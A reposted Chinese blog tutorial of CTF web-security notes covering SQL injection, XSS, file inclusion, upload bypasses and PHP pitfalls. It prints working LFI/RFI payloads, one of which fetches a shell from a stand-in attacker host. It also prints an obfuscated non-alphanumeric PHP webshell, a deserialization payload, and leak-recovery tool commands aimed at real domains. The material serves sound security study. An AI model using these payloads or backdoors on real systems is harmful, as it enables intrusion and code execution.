Web【轉載學習】

Bolerat發表於2024-04-22

Web [轉載學習]

隨著 WEB 2.0、社交網路、微博等等一系列新型的網際網路產品的誕生,基於 WEB 環境的網際網路應用越來越廣泛,企業資訊化的過程中各種應用都架設在 WEB 平臺上,WEB 業務的迅速發展也引起駭客們的強烈關注,接踵而至的就是 WEB 安全威脅的凸顯,駭客利用網站作業系統的漏洞和 WEB 服務程式的漏洞得到 WEB 伺服器的控制許可權,輕則篡改網頁內容,重則竊取重要內部資料,更為嚴重的則是在網頁中植入惡意程式碼,使得網站訪問者受到侵害。

在 CTF 競賽中,WEB 也是佔比重很大的一個方向之一,WEB 類的題目種類繁多,知識點細碎,時效性強,能緊跟時下熱點漏洞,貼近實戰。

WEB 類的題目包括但不限於:SQL 注入、XSS 跨站指令碼、CSRF 跨站請求偽造、檔案上傳、檔案包含、框架安全、PHP 常見漏洞、程式碼審計等。

SQL 注入

透過在使用者可控引數中注入 SQL 語法,破壞原有 SQL 結構,達到編寫程式時意料之外結果的攻擊行為。其成因可以歸結為以下兩個原因疊加造成的:

  1. 程式編寫者在處理應用程式和資料庫互動時,使用字串拼接的方式構造 SQL 語句
  2. 未對使用者可控引數進行足夠的過濾便將引數內容拼接進入到 SQL 語句中

XSS 跨站指令碼攻擊

跨站指令碼攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為 XSS。惡意攻擊者往 WEB 頁面裡插入惡意 HTML 程式碼,當使用者瀏覽該頁之時,嵌入其中 Web 裡面的 HTML 程式碼會被執行,從而達到惡意攻擊使用者的特殊目的。

命令執行

當應用需要呼叫一些外部程式去處理內容的情況下,就會用到一些執行系統命令的函式。如 PHP 中的 systemexecshell_exec 等,當使用者可以控制命令執行函式中的引數時,將可以注入惡意系統命令到正常命令中,造成命令執行攻擊。這裡還是主要以 PHP 為主介紹命令執行漏洞,Java 等應用的細節待補充。

檔案包含

如果允許客戶端使用者輸入控制動態包含在伺服器端的檔案,會導致惡意程式碼的執行及敏感資訊洩露,主要包括本地檔案包含和遠端檔案包含兩種形式。

CSRF 跨站請求偽造

跨站請求偽造(Cross-Site Request Forgery,CSRF)是一種使已登入使用者在不知情的情況下執行某種動作的攻擊。因為攻擊者看不到偽造請求的響應結果,所以 CSRF 攻擊主要用來執行動作,而非竊取使用者資料。當受害者是一個普通使用者時,CSRF 可以實現在其不知情的情況下轉移使用者資金、傳送郵件等操作;但是如果受害者是一個具有管理員許可權的使用者時 CSRF 則可能威脅到整個 WEB 系統的安全。

SSRF 伺服器端請求偽造

SSRF(Server-Side Request Forgery:伺服器端請求偽造)是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF 攻擊的目標是從外網無法訪問的內部系統。

檔案上傳

在網站的運營過程中,不可避免地要對網站的某些頁面或者內容進行更新,這時便需要使用到網站的檔案上傳的功能。如果不對被上傳的檔案進行限制或者限制被繞過,該功能便有可能會被利用於上傳可執行檔案、指令碼到伺服器上,進而進一步導致伺服器淪陷。

點選劫持

Clickjacking(點選劫持)是由網際網路安全專家羅伯特·漢森和耶利米·格勞斯曼在 2008 年首創的。

是一種視覺欺騙手段,在 WEB 端就是 iframe 巢狀一個透明不可見的頁面,讓使用者在不知情的情況下,點選攻擊者想要欺騙使用者點選的位置。

由於點選劫持的出現,便出現了反 frame 巢狀的方式,因為點選劫持需要 iframe 巢狀頁面來攻擊。

下面程式碼是最常見的防止 frame 巢狀的例子:

if(top.location!=location)
    top.location=self.location;

VPS 虛擬專用伺服器

VPS(Virtual Private Server 虛擬專用伺服器)技術,將一部伺服器分割成多個虛擬專享伺服器的優質服務。實現 VPS 的技術分為容器技術,和虛擬化技術。在容器或虛擬機器中,每個 VPS 都可分配獨立公網 IP 地址、獨立作業系統、實現不同 VPS 間磁碟空間、記憶體、CPU 資源、程序和系統配置的隔離,為使用者和應用程式模擬出獨佔使用計算資源的體驗。VPS 可以像獨立伺服器一樣,重灌作業系統,安裝程式,單獨重啟伺服器。VPS 為使用者提供了管理配置的自由,可用於企業虛擬化,也可以用於 IDC 資源租用。

IDC 資源租用,由 VPS 提供商提供。不同 VPS 提供商所使用的硬體 VPS 軟體的差異,及銷售策略的不同,VPS 的使用體驗也有較大差異。尤其是 VPS 提供商超賣,導致實體伺服器超負荷時,VPS 效能將受到極大影響。相對來說,容器技術比虛擬機器技術硬體使用效率更高,更易於超賣,所以一般來說容器 VPS 的價格都低於虛擬機器 VPS 的價格。

條件競爭

條件競爭漏洞是一種伺服器端的漏洞,由於伺服器端在處理不同使用者的請求時是併發進行的,因此,如果併發處理不當或相關操作邏輯順序設計的不合理時,將會導致此類問題的發生。

XXE

XXE Injection 即 XML External Entity Injection,也就是 XML 外部實體注入攻擊.漏洞是在對非安全的外部實體資料進⾏行處理時引發的安全問題。

在 XML 1.0 標準裡,XML 文件結構⾥裡定義了實體(entity)這個概念.實體可以透過預定義在文件中呼叫,實體的識別符號可訪問本地或遠端內容.如果在這個過程中引入了「汙染」源,在對 XML 文件處理後則可能導致資訊洩漏等安全問題。

XSCH

由於網站開發者在使用 Flash、Silverlight 等進行開發的過程中的疏忽,沒有對跨域策略檔案(crossdomain.xml)進行正確的配置導致問題產生。 例如:

<cross-domain-policy>
    <allow-access-from domain=“*”/>
</cross-domain-policy>

因為跨域策略檔案配置為 *,也就指任意域的 Flash 都可以與它互動,導致可以發起請求、獲取資料。

越權(功能級訪問缺失)

越權漏洞是 WEB 應用程式中一種常見的安全漏洞。它的威脅在於一個賬戶即可控制全站使用者資料。當然這些資料僅限於存在漏洞功能對應的資料。越權漏洞的成因主要是因為開發人員在對資料進行增、刪、改、查詢時對客戶端請求的資料過分相信而遺漏了許可權的判定。所以測試越權就是和開發人員拼細心的過程。

敏感資訊洩露

敏感資訊指不為公眾所知悉,具有實際和潛在利用價值,丟失、不當使用或未經授權訪問對社會、企業或個人造成危害的資訊。包括:個人隱私資訊、業務經營資訊、財務資訊、人事資訊、IT 運維資訊等。
洩露途徑包括 Github、百度文庫、Google code、網站目錄等。

錯誤的安全配置

Security Misconfiguration:有時候,使用預設的安全配置可能會導致應用程式容易遭受多種攻擊。在已經部署的應用、WEB 伺服器、資料庫伺服器、作業系統、程式碼庫以及所有和應用程式相關的元件中,都應該使用現有的最佳安全配置,這一點至關重要。

請求走私

在 HTTP 協議中,存在兩種 Header 來指定請求的結尾,分別是 Content-Length 以及 Transfer-Encoding。在複雜的網路環境下,不同的伺服器以不同的方式實現 RFC 標準。因此,相同的 HTTP 請求,不同的伺服器可能會產生不同的處理結果,這樣就產生了了安全風險。

TLS 投毒

在 TLS 協議中,存在一種會話複用機制,當支援該類特性的客戶端訪問了惡意 TLS 伺服器後,客戶端會儲存惡意伺服器下發的 Session ,在客戶端重用會話時,配合 DNS Rebinding 可以實現讓客戶端傳送惡意 Session 至內網服務,從而達到 SSRF 攻擊效果,包括可以任意寫入 Memcached 等內網服務,進而配合其他漏洞造成 RCE 等危害。

XS-Leaks

跨站指令碼洩漏(又稱 XS-Leaks/XSLeaks),是一類利用 Web 平臺內建的側通道衍生出來的漏洞。其原理是利用網路上的這種側通道來揭示使用者的敏感資訊,如使用者在其他網路應用中的資料、使用者本地環境資訊,或者是使用者所連線的內部網路資訊等。

該攻擊利用了 Web 平臺的核心原則--可組合性,即允許網站之間相互作用,並濫用合法機制來推斷使用者的資訊。該攻擊與跨站請求偽造(CSRF)技術主要區別在於 XS-Leaks 並不偽造使用者請求執行操作,而是用來推斷、獲取使用者資訊。

瀏覽器提供了各種各樣的功能來支援不同 Web 應用程式之間的互動;例如,瀏覽器允許一個網站載入子資源、導航或向另一個應用程式傳送訊息。雖然這些行為通常受到網路平臺的安全機制的限制(例如同源政策),但 XS-Leaks 利用了網站之間互動過程中的各種行為來洩露使用者資訊。

WAF

Web 應用防護系統(也稱:網站應用級入侵防禦系統。英文:Web Application Firewall,簡稱:WAF)。利用國際上公認的一種說法:WEB 應用防火牆是透過執行一系列針對 HTTP/HTTPS 的安全策略來專門為 WEB 應用提供保護的一款產品。

IDS

IDS 是英文 Intrusion Detection Systems 的縮寫,中文意思是「入侵檢測系統」。專業上講就是依照一定的安全策略,透過軟、硬體,對網路、系統的執行狀況進行監視,儘可能發現各種攻擊企圖、攻擊行為或者攻擊結果,以保證網路系統資源的機密性、完整性和可用性。做一個形象的比喻:假如防火牆是一幢大樓的門鎖,那麼 IDS 就是這幢大樓裡的監視系統。一旦小偷爬窗進入大樓,或內部人員有越界行為,只有實時監視系統才能發現情況併發出警告。

IPS

入侵防禦系統(IPS:Intrusion Prevention System)是電腦網路安全設施,是對防病毒軟體(Antivirus Programs)和防火牆(Packet Filter,Application Gateway)的補充。入侵預防系統(Intrusion-prevention system)是一部能夠監視網路或網路裝置的網路資料傳輸行為的計算機網路安全裝置,能夠即時的中斷、調整或隔離一些不正常或是具有傷害性的網路資料傳輸行為。

參考資料

  • WEB 滲透 Wiki

PHP 程式碼審計

檔案包含

常見的導致檔案包含的函式有:

  • PHP:include()include_once()require()require_once()fopen()readfile()
  • JSP Servlet:ava.io.File()java.io.FileReader()
  • ASP:includefileincludevirtual

當 PHP 包含一個檔案時,會將該檔案當做 PHP 程式碼執行,而不會在意檔案時什麼型別。

本地檔案包含

本地檔案包含,Local File Inclusion,LFI。

<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')) {
  include '/home/wwwrun/'.$file.'.php';
}
?>

上述程式碼存在本地檔案包含,可用 %00 截斷的方式讀取 /etc/passwd 檔案內容。

  • %00 截斷

    ?file=../../../../../../../../../etc/passwd%00
    

    需要 magic_quotes_gpc=off,PHP 小於 5.3.4 有效。

  • 路徑長度截斷

    ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
    

    Linux 需要檔名長於 4096,Windows 需要長於 256。

  • 點號截斷

    ?file=../../../../../../../../../boot.ini/………[…]…………
    

    只適用 Windows,點號需要長於 256。

遠端檔案包含

遠端檔案包含,Remote File Inclusion,RFI。

<?php
if ($route == "share") {
  require_once $basePath . "/action/m_share.php";
} elseif ($route == "sharelink") {
  require_once $basePath . "/action/m_sharelink.php";
}

構造變數 basePath 的值。

/?basePath=http://attacker/phpshell.txt?

最終的程式碼執行了

require_once "http://attacker/phpshell.txt?/action/m_share.php";

問號後的部分被解釋為 URL 的 querystring,這也是一種「截斷」。

  • 普通遠端檔案包含

    ?file=[http|https|ftp]://example.com/shell.txt
    

    需要 allow_url_fopen=On 並且 allow_url_include=On

  • 利用 PHP 流 input

    ?file=php://input
    

    需要 allow_url_include=On

  • 利用 PHP 流 filter

    ?file=php://filter/convert.base64-encode/resource=index.php
    

    需要 allow_url_include=On

  • 利用 data URIs

    ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
    

    需要 allow_url_include=On

  • 利用 XSS 執行

    ?file=http://127.0.0.1/path/xss.php?xss=phpcode
    

    需要 allow_url_fopen=Onallow_url_include=On 並且防火牆或者白名單不允許訪問外網時,先在同站點找一個 XSS 漏洞,包含這個頁面,就可以注入惡意程式碼了。

檔案上傳

檔案上傳漏洞是指使用者上傳了一個可執行指令碼檔案,並透過此檔案獲得了執行服器端命令的能力。在大多數情況下,檔案上傳漏洞一般是指上傳 WEB 指令碼能夠被伺服器解析的問題,也就是所謂的 webshell 問題。完成這一攻擊需要這樣幾個條件,一是上傳的檔案能夠被 WEB 容器執行,其次使用者能從 WEB 上訪問這個檔案,最後,如果上傳的檔案被安全檢查、格式化、圖片壓縮等功能改變了內容,則可能導致攻擊失敗。

繞過上傳檢查

  • 前端檢查副檔名

    抓包繞過即可。

  • Content-Type 檢測檔案型別

    抓包修改 Content-Type 型別,使其符合白名單規則。

  • 服務端新增字尾

    嘗試 %00 截斷。

  • 服務端副檔名檢測

    利用解析漏洞。

  • Apache 解析

    Apache 對字尾解析是從右向左的

    phpshell.php.rar.rar.rar.rar 因為 Apache 不認識 .rar 這個檔案型別,所以會一直遍歷字尾到 .php,然後認為這是一個 PHP 檔案。

  • IIS 解析

    IIS 6 下當檔名為 abc.asp;xx.jpg 時,會將其解析為 abc.asp

  • PHP CGI 路徑解析

    當訪問 http://www.a.com/path/test.jpg/notexist.php 時,會將 test.jpg 當做 PHP 解析, notexist.php 是不存在的檔案。此時 Nginx 的配置如下

    location ~ \.php$ {
      root html;
      fastcgi_pass 127.0.0.1:9000;
      fastcgi_index index.php;
      fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
      include fastcgi_param;
    }
    
  • 其他方式

    字尾大小寫、雙寫、特殊字尾如 php5 等,修改包內容的大小寫過 WAF 等。

變數覆蓋

全域性變數覆蓋

變數如果未被初始化,且能夠被使用者所控制,那麼很可能會導致安全問題。

register_globals=ON

示例

<?php
echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";

if ($auth) {
  echo "private!";
}
?>

register_globals=ON 時,提交 test.php?auth=1auth 變數將自動得到賦值。

extract() 變數覆蓋

extract() 函式能夠將變數從陣列匯入到當前的符號表,其定義為

int extract ( array $var_array [, int $extract_type [, string $prefix ]] )

其中,第二個引數指定函式將變數匯入符號表時的行為,最常見的兩個值是 EXTR_OVERWRITEEXTR_SKIP

當值為 EXTR_OVERWRITE 時,在將變數匯入符號表的過程中,如果變數名發生衝突,則覆蓋所有變數;值為 EXTR_SKIP 則表示跳過不覆蓋。若第二個引數未指定,則在預設情況下使用 EXTR_OVERWRITE

<?php
$auth = "0";
extract($_GET);

if ($auth == 1) {
  echo "private!";
} else {
  echo "public!";
}
?>

extract() 函式從使用者可以控制的陣列中匯出變數時,可能發生變數覆蓋。

import_request_variables 變數覆蓋

bool import_request_variables (string $types [, string $prefix])

import_request_variables 將 GET、POST、Cookies 中的變數匯入到全域性,使用這個函式只用簡單地指定型別即可。

<?php
$auth = "0";
import_request_variables("G");

if ($auth == 1) {
  echo "private!";
} else {
  echo "public!";
}
?>

import_request_variables("G") 指定匯入 GET 請求中的變數,提交 test.php?auth=1 出現變數覆蓋。

parse_str() 變數覆蓋

void parse_str ( string $str [, array &$arr ])

parse_str() 函式通常用於解析 URL 中的 querystring,但是當引數值可以被使用者控制時,很可能導致變數覆蓋。

// var.php?var=new  變數覆蓋
$var = "init";
parse_str($_SERVER["QUERY_STRING"]);
print $var;

parse_str() 類似的函式還有 mb_parse_str()

命令執行

直接執行程式碼

PHP 中有不少可以直接執行程式碼的函式。

eval();
assert();
system();
exec();
shell_exec();
passthru();
escapeshellcmd();
pcntl_exec();
......

preg_replace() 程式碼執行

preg_replace() 的第一個引數如果存在 /e 模式修飾符,則允許程式碼執行。

<?php
$var = "<tag>phpinfo()</tag>";
preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var);
?>

如果沒有 /e 修飾符,可以嘗試 %00 截斷。

preg_match 程式碼執行

preg_match 執行的是匹配正規表示式,如果匹配成功,則允許程式碼執行。

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

這道題是 xman 訓練賽的時候,梅子酒師傅出的一道題。這一串程式碼描述是這樣子,我們要繞過 A-Za-z0-9 這些常規數字、字母字串的傳參,將非字母、數字的字元經過各種變換,最後能構造出 a-z 中任意一個字元,並且字串長度小於 40 。然後再利用 PHP 允許動態函式執行的特點,拼接出一個函式名,這裡我們是 getFlag,然後動態執行該程式碼即可。

那麼,我們需要考慮的問題是如何透過各種變換,使得我們能夠去成功讀取到 getFlag 函式,然後拿到 webshell

在理解這個之前,我們首先需要大家瞭解的是 PHP 中異或 ^ 的概念。

我們先看一下下面這段程式碼:

<?php
    echo "A"^"?";
?>

執行結果如下:

我們可以看到,輸出的結果是字元 ~。之所以會得到這樣的結果,是因為程式碼中對字元 A 和字元 ? 進行了異或操作。在 PHP 中,兩個變數進行異或時,先會將字串轉換成 ASCII 值,再將 ASCII 值轉換成二進位制再進行異或,異或完,又將結果從二進位制轉換成了 ASCII 值,再將 ASCII 值轉換成字串。異或操作有時也被用來交換兩個變數的值。

比如像上面這個例子

AASCII 值是 65 ,對應的二進位制值是 01000001

? 的ASCII值是 63 ,對應的二進位制值是 00111111

異或的二進位制的值是 ‭01111110‬ ,對應的 ASCII 值是 126 ,對應的字串的值就是 ~

我們都知道, PHP 是弱型別的語言,也就是說在 PHP 中我們可以不預先宣告變數的型別,而直接宣告一個變數並進行初始化或賦值操作。正是由於 PHP 弱型別的這個特點,我們對 PHP 的變數型別進行隱式的轉換,並利用這個特點進行一些非常規的操作。如將整型轉換成字串型,將布林型當作整型,或者將字串當作函式來處理,下面我們來看一段程式碼:

<?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

程式碼執行結果如下:

我們一起來分析一下上面這段程式碼:

1、$_++; 這行程式碼的意思是對變數名為 "_" 的變數進行自增操作,在 PHP 中未定義的變數預設值 nullnull==false==0 ,我們可以在不使用任何數字的情況下,透過對未定義變數的自增操作來得到一個數字。

2、$__="?" ^ "}"; 對字元 ?} 進行異或運算,得到結果 B 賦給變數名為 __ (兩個下劃線)的變數

3、$ __ (); 透過上面的賦值操作,變數 $__ 的值為 B ,所以這行可以看作是 B() ,在 PHP 中,這行程式碼表示呼叫函式 B ,所以執行結果為 Hello Angel_Kitty 。在 PHP 中,我們可以將字串當作函式來處理。

看到這裡,相信大家如果再看到類似的 PHP 後門應該不會那麼迷惑了,你可以透過一句句的分析後門程式碼來理解後門想實現的功能。

我們希望使用這種後門建立一些可以繞過檢測的並且對我們有用的字串,如 _POSTsystemcall_user_func_array ,或者是任何我們需要的東西。

下面是個非常簡單的非數字字母的 PHP 後門:

<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

在這裡我說明下, .= 是字串的連線,具體參看 PHP 語法

我們甚至可以將上面的程式碼合併為一行,從而使程式的可讀性更差,程式碼如下:

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

我們回到 xman 訓練賽的那題來看,我們的想法是透過構造異或來去繞過那串字元,那麼我們該如何構造這個字串使得長度小於 40 呢?

我們最終是要讀取到那個 getFlag 函式,我們需要構造一個 _GET 來去讀取這個函式,我們最終構造瞭如下字串:

可能很多小夥伴看到這裡仍然無法理解這段字串是如何構造的吧,我們就對這段字串進行段分析。

構造 _GET 讀取

首先我們得知道 _GET 由什麼異或而來的,經過我的嘗試與分析,我得出了下面的結論:

<?php
    echo "`{{{"^"?<>/";//_GET
?>

這段程式碼一大坨是啥意思呢?因為40個字元長度的限制,導致以前逐個字元異或拼接的webshell不能使用。
這裡可以使用php中可以執行命令的反引號 `Linux 下面的萬用字元 ?

  • ? 代表匹配一個字元
  • `` ` 表示執行命令
  • " 對特殊字串進行解析

由於 ? 只能匹配一個字元,這種寫法的意思是迴圈呼叫,分別匹配。我們將其進行分解來看:

<?php
    echo "{"^"<";
?>

輸出結果為:

<?php
    echo "{"^">";
?>

輸出結果為:

<?php
    echo "{"^"/";
?>

輸出結果為:

所以我們可以知道, _GET 就是這麼被構造出來的啦!

獲取 _GET 引數

我們又該如何獲取 _GET 引數呢?咱們可以構造出如下字串:

<?php
    echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__])
?>

根據前面構造的來看, $_ 已經變成了 _GET 。順理成章的來講, $_ = _GET 。我們構建 $_GET[__] 是為了要獲取引數值。

傳入引數

此時我們只需要去呼叫 getFlag 函式獲取 webshell 就好了,構造如下:

<?php
    echo $_=getFlag;//getFlag
?>

所以把引數全部連線起來,就可以了。

結果如下:

於是我們就成功地讀取到了flag!

動態函式執行

使用者自定義的函式可以導致程式碼執行。

<?php
$dyn_func = $_GET["dyn_func"];
$argument = $_GET["argument"];
$dyn_func($argument);
?>

反引號命令執行

<?php
echo `ls -al`;
?>

Curly Syntax

PHP 的 Curly Syntax 也能導致程式碼執行,它將執行花括號間的程式碼,並將結果替換回去。

<?php
$var = "aaabbbccc ${`ls`}";
?>
<?php
$foobar = "phpinfo";
${"foobar"}();
?>

回撥函式

很多函式都可以執行回撥函式,當回撥函式使用者可控時,將導致程式碼執行。

<?php
$evil_callback = $_GET["callback"];
$some_array = array(0,1,2,3);
$new_array = array_map($evil_callback, $some_array);
?>

攻擊 payload

http://www.a.com/index.php?callback=phpinfo

反序列化

如果 unserialize() 在執行時定義了 __destruct()__wakeup() 函式,則有可能導致程式碼執行。

<?php
class Example {
  var $var = "";
  function __destruct() {
    eval($this->var);
  }
}
unserialize($_GET["saved_code"]);
?>

攻擊 payload

http://www.a.com/index.php?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

PHP 特性

陣列

<?php
$var = 1;
$var = array();
$var = "string";
?>

php 不會嚴格檢驗傳入的變數型別,也可以將變數自由的轉換型別。

比如在 $a == $b 的比較中

$a = null; 
$b = false; //為真 
$a = ''; 
$b = 0; //同樣為真

然而,PHP 核心的開發者原本是想讓程式設計師藉由這種不需要宣告的體系,更加高效的開發,所以在幾乎所有內建函式以及基本結構中使用了很多鬆散的比較和轉換,防止程式中的變數因為程式設計師的不規範而頻繁的報錯,然而這卻帶來了安全問題。

0=='0' //true
0 == 'abcdefg' //true
0 === 'abcdefg' //false
1 == '1abcdef' //true

魔法 Hash

"0e132456789"=="0e7124511451155" //true
"0e123456abc"=="0e1dddada" //false
"0e1abc"=="0"  //true

在進行比較運算時,如果遇到了 0e\d+ 這種字串,就會將這種字串解析為科學計數法。所以上面例子中 2 個數的值都是 0 因而就相等了。如果不滿足 0e\d+ 這種模式就不會相等。

十六進位制轉換

"0x1e240"=="123456" //true
"0x1e240"==123456 //true
"0x1e240"=="1e240" //false

當其中的一個字串是 0x 開頭的時候,PHP 會將此字串解析成為十進位制然後再進行比較,0x1240 解析成為十進位制就是 123456,所以與 int 型別和 string 型別的 123456 比較都是相等。

型別轉換

常見的轉換主要就是 int 轉換為 stringstring 轉換為 int

intstring

$var = 5;
方式1:$item = (string)$var;
方式2:$item = strval($var);

stringintintval() 函式。

對於這個函式,可以先看 2 個例子。

var_dump(intval('2')) //2
var_dump(intval('3abcd')) //3
var_dump(intval('abcd')) //0

說明 intval() 轉換的時候,會從字串的開始進行轉換直到遇到一個非數字的字元。即使出現無法轉換的字串, intval() 不會報錯而是返回 0。

同時,程式設計師在程式設計的時候也不應該使用如下的這段程式碼:

if(intval($a)>1000) {
 mysql_query("select * from news where id=".$a)
}

這個時候 $a 的值有可能是 1002 union

內建函式的引數的鬆散性

內建函式的鬆散性說的是,呼叫函式時給函式傳遞函式無法接受的引數型別。解釋起來有點拗口,還是直接透過實際的例子來說明問題,下面會重點介紹幾個這種函式。

md5()

$array1[] = array(
 "foo" => "bar",
 "bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==md5($array2)); //true

PHP 手冊中的 md5()函式的描述是 string md5 ( string $str [, bool $raw_output = false ] )md5() 中的需要是一個 string 型別的引數。但是當你傳遞一個 array 時,md5() 不會報錯,只是會無法正確地求出 array 的 md5 值,這樣就會導致任意 2 個 array 的 md5 值都會相等。

strcmp()

strcmp() 函式在 PHP 官方手冊中的描述是 intstrcmp ( string $str1 , string $str2 ),需要給 strcmp() 傳遞 2 個 string 型別的引數。如果 str1 小於 str2,返回 -1,相等返回 0,否則返回 1。strcmp() 函式比較字串的本質是將兩個變數轉換為 ASCII,然後進行減法運算,然後根據運算結果來決定返回值。

如果傳入給出 strcmp() 的引數是數字呢?

$array=[1,2,3];
var_dump(strcmp($array,'123')); //null,在某種意義上null也就是相當於false。

switch()

如果 switch() 是數字型別的 case 的判斷時,switch 會將其中的引數轉換為 int 型別。如下:

$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
 echo "i is less than 3 but not negative";
 break;
case 3:
 echo "i is 3";
}

這個時候程式輸出的是 i is less than 3 but not negative ,是由於 switch() 函式將 $i 進行了型別轉換,轉換結果為 2。

in_array()

在 PHP 手冊中, in_array() 函式的解釋是 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) ,如果strict引數沒有提供,那麼 in_array 就會使用鬆散比較來判斷 $needle 是否在 $haystack 中。當 strict 的值為 true 時, in_array() 會比較 needls 的型別和 haystack 中的型別是否相同。

$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true

可以看到上面的情況返回的都是 true,因為 'abc' 會轉換為 0, '1bc' 轉換為 1。

array_search()in_array() 也是一樣的問題。

尋找原始碼備份

hg 原始碼洩露

hg init 時會產生 .hg 檔案。

利用工具 dvcs-ripper

Git 原始碼洩露

.git 目錄內有程式碼的變更記錄等檔案,如果部署時該目錄下的檔案可被訪問,可能會被利用來恢復原始碼。

/.git
/.git/HEAD
/.git/index
/.git/config
/.git/description

GitHack

python GitHack.py http://www.openssl.org/.git/

GitHacker(可恢復完整 Git 倉庫)

python GitHacker.py http://www.openssl.org/.git/

.DS_Store 檔案洩露

Mac OS 中會包含有 .DS_Store 檔案,包含檔名等資訊。

利用工具 ds_store_exp

python ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store

hd.zj.qq.com/
└── themes
    └── galaxyw
        ├── app
        │   └── css
        │       └── style.min.css
        ├── cityData.min.js
        ├── images
        │   └── img
        │       ├── bg-hd.png
        │       ├── bg-item-activity.png
        │       ├── bg-masker-pop.png
        │       ├── btn-bm.png
        │       ├── btn-login-qq.png
        │       ├── btn-login-wx.png
        │       ├── ico-add-pic.png
        │       ├── ico-address.png
        │       ├── ico-bm.png
        │       ├── ico-duration-time.png
        │       ├── ico-pop-close.png
        │       ├── ico-right-top-delete.png
        │       ├── page-login-hd.png
        │       ├── pic-masker.png
        │       └── ticket-selected.png
        └── member
            ├── assets
            │   ├── css
            │   │   ├── ace-reset.css
            │   │   └── antd.css
            │   └── lib
            │       ├── cityData.min.js
            │       └── ueditor
            │           ├── index.html
            │           ├── lang
            │           │   └── zh-cn
            │           │       ├── images
            │           │       │   ├── copy.png
            │           │       │   ├── localimage.png
            │           │       │   ├── music.png
            │           │       │   └── upload.png
            │           │       └── zh-cn.js
            │           ├── php
            │           │   ├── action_crawler.php
            │           │   ├── action_list.php
            │           │   ├── action_upload.php
            │           │   ├── config.json
            │           │   ├── controller.php
            │           │   └── Uploader.class.php
            │           ├── ueditor.all.js
            │           ├── ueditor.all.min.js
            │           ├── ueditor.config.js
            │           ├── ueditor.parse.js
            │           └── ueditor.parse.min.js
            └── static
                ├── css
                │   └── page.css
                ├── img
                │   ├── bg-table-title.png
                │   ├── bg-tab-say.png
                │   ├── ico-black-disabled.png
                │   ├── ico-black-enabled.png
                │   ├── ico-coorption-person.png
                │   ├── ico-miss-person.png
                │   ├── ico-mr-person.png
                │   ├── ico-white-disabled.png
                │   └── ico-white-enabled.png
                └── scripts
                    ├── js
                    └── lib
                        └── jquery.min.js

21 directories, 48 files

網站備份檔案

管理員備份網站檔案後錯誤地將備份放在 Web 目錄下。

常見的字尾名:

.rar
.zip
.7z
.tar
.tar.gz
.bak
.txt

SVN 洩露

敏感檔案:

/.svn
/.svn/wc.db
/.svn/entries

dvcs-ripper

perl rip-svn.pl -v -u http://www.example.com/.svn/

Seay - SVN

WEB-INF / web.xml 洩露

WEB-INF 是 Java Web 應用的安全目錄,web.xml 中有檔案的對映關係。

WEB-INF 主要包含以下檔案或目錄:

  • /WEB-INF/web.xml :Web 應用程式配置檔案,描述了 servlet 和其他的應用元件配置及命名規則。
  • /WEB-INF/classes/ :包含站點所有用到的 class 檔案,包括 servlet class 和非 servlet class,他們不能包含在 jar 檔案中。
  • /WEB-INF/lib/ :存放 web 應用需要的各種 JAR 檔案,放置僅在這個應用中要求使用的 jar 檔案,如資料庫驅動 jar 檔案。
  • /WEB-INF/src/ :原始碼目錄,按照包名結構放置各個 java 檔案。
  • /WEB-INF/database.properties :資料庫配置檔案。

透過找到 web.xml 檔案,推斷 class 檔案的路徑,最後直接 class 檔案,再透過反編譯 class 檔案,得到網站原始碼。 一般情況,jsp 引擎預設都是禁止訪問 WEB-INF 目錄的,Nginx 配合 Tomcat 做均衡負載或叢集等情況時,問題原因其實很簡單,Nginx 不會去考慮配置其他型別引擎(Nginx 不是 jsp 引擎)導致的安全問題而引入到自身的安全規範中來(這樣耦合性太高了),修改 Nginx 配置檔案禁止訪問 WEB-INF 目錄就好了:

location ~ ^/WEB-INF/* { deny all; } # 或者return 404; 或者其他!

CVS 洩露

http://url/CVS/Root 返回根資訊
http://url/CVS/Entries 返回所有檔案的結構

取回原始碼

bk clone http://url/name dir

參考文獻

  • 記一次拿webshell踩過的坑(如何用PHP編寫一個不包含數字和字母的後門)

SQL 注入

基本概念

  • SQL 注入是一種將 SQL 程式碼插入或新增到應用(使用者)的輸入引數中,之後再將這些引數傳遞給後臺的 SQL 伺服器加以解析並執行的攻擊。
  • 攻擊者能夠修改 SQL 語句,該程序將與執行命令的元件(如資料庫伺服器、應用伺服器或 WEB 伺服器)擁有相同的許可權。
  • 如果 WEB 應用開發人員無法確保在將從 WEB 表單、cookie、輸入引數等收到的值傳遞給 SQL 查詢(該查詢在資料庫伺服器上執行)之前已經對其進行過驗證,通常就會出現 SQL 注入漏洞。

常用工具

  • Burp Suite:Burp Suite 使用介紹
  • Tamper Data (Firefox addon)
  • HackBar (Firefox addon)
  • sqlmap:sqlmap 使用者手冊

注入常見引數

